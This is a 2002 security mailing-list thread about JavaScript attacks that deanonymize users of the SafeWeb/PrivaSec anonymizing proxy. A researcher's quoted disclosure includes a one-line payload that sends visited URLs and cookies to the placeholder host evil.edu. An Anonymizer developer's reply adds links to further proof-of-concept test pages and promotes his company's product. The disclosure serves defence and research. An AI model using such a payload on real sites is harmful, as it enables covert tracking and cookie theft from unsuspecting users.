Re: Deanonymizing SafeWeb Users

[peleus <peleus () cyberpass net>]

        In light of this post by Martin & Schulman on attacks against
SafeWeb/PrivaSec, we thought we would release just a few examples of my
own internal research to support their views on JavaScript and anonymous
proxy systems over the last years.  We have found that these attacks are
not limited to SafeWeb.  A rewrite engine alone will not cover every
possible manipulation of JavaScript.
        Some attacks to support the Martin & Schulman paper include but
are not limited to:

        Embedding JavaScript in VBScript using the execscript command 
(SafeWeb/PrivaSec & SiegeSoft)
        http://www.anonymizer.com/proxy_tests/vbscript2.html

        Missing uncommon functions such as document.replace (SiegeSoft)
        http://www.anonymizer.com/proxy_tests/siege_soft1.html

        Not recognizing the reset of form locations (SiegeSoft)
        http://www.anonymizer.com/proxy_tests/siege_soft2.html

        You can also use the SafeWeb/PrivaSec functions against themselves
        due to a scoping flaw
        http://www.anonymizer.com/proxy_tests/sw_test_2.html

        There are many more possibilities due to JavaScripts functionality
as a language.  Allowing JavaScript through a privacy protection system is
a non-trivial task.

        Allowing JavaScript in general can be extremely dangerous.  An
individual only needs to look at the BugTraq postings over the last month
by The Pull and many others to see its inherent dangers.  By allowing
JavaScript you are allowing other parties to execute their programs on
your computer and placing full faith in them not to write anything
harmful.
        Current Proxy systems that allow JavaScript and other scripting
languages can not prevent all instances of these attacks.  For instance,
SafeWeb does not stop The Pull's file reading exploit.  A proxy system can
help to reduce these attacks but would not be able to give a 100%
guarantee since they would be re-actionary to problems in browser software
developed by other vendors.
        Anonymizer has always taken the approach not to release
functionality until it has been sufficiently developed and proven
reliable.  It is this approach that prevented us from releasing an unsafe
version of JavaScript functionality just to be the first one there.  
Anonymizer is in fact now completing development of a solution for
allowing JavaScript while safely mitigating these risks through our proxy
and will be releasing a public beta in Spring 2002.
        Note: The term "Anonymizer" is a trusted brand name and registered
trademark of Anonymizer Inc.  The term "Anonymizer" and similar words
(such as anonymize or anonymizing) should not be used as generic 
descriptive terms for Web privacy technology.

Peleus Uhley
Senior Developer
Anonymizer Inc.
peleus () anonymizer com




On Mon, 11 Feb 2002, David Martin wrote:

> Although SafeWeb's Web anonymizing service has been shut down since
> December, they claimed it was the "most widely used online privacy service
> in the world".  SafeWeb licensed their technology to PrivaSec, who is
> currently running the technology in a preview program for a planned
> subscription service.  They also licensed it to the CIA.
>
> Andrew Schulman and I have just finished a technical report detailing
> SafeWeb's catastrophic failures under the simplest of JavaScript attacks by
> Web sites or firewalls (e.g., by redirecting to a page containing the
> exploit).  An example (really one long line):
>
> self['window']['top'].frames[0]['cookie_munch'] = Function('i=new
> Image(1,1);i.s'+'rc="https://evil.edu/"+top.frames[0].document.forms["fugulo
> cation"].URL_text.value+(new Date()).getTime()+document.cookie;');
>
> This is spyware.  Any Web page containing this JavaScript makes the SafeWeb
> browser silently report every URL visited to the attacker at evil.edu, along
> with a copy of all of the persistent cookies previously established through
> SafeWeb.  It works regardless of the user's security settings (recommended
> vs paranoid mode, etc.)  This attack is the only one we describe that
> depends on the browser: it works in Netscape 6.x and probably previous
> versions, but not IE.  We have an attack that does basically the same thing
> and works in IE too, but it's a bit longer.  Since our attacks are just
> JavaScript, they probably don't depend on the OS of the victim.
>
> Basically, using the SafeWeb privacy service helps keep user identities out
> of routinely gathered log files, but it creates serious new risks for anyone
> an adversary might bother to actually target.  You have to wonder whether
> this is a good tradeoff.  After all, in the absence of serious bugs, Web
> browsers generally prevent Web sites from silently depositing spyware or
> snarfing all of the user's cookies.  One thing is clear: most users in the
> intended market for this system had no idea that this system brought any
> risks with it.
>
> For the full report (23 pages, PDF):
> http://www.cs.bu.edu/techreports/pdf/2002-003-deanonymizing-safeweb.pdf
>
> We've been in touch with SafeWeb since October, and with PrivaSec for about
> a month now.  Some related problems in SafeWeb involving JavaScript spilling
> IP addresses have been noted here (by Alexander Yezhov) and in
> alt.privacy.anon-server (by Paul Rubin).  Our paper adds spyware, cookie
> snarfing, and the essential equivalence between SafeWeb's "paranoid" and
> "recommended" modes of operation to the list of problems with SafeWeb's
> technology.
>
> David Martin http://www.cs.bu.edu/~dm
> Andrew Schulman http://www.undoc.com/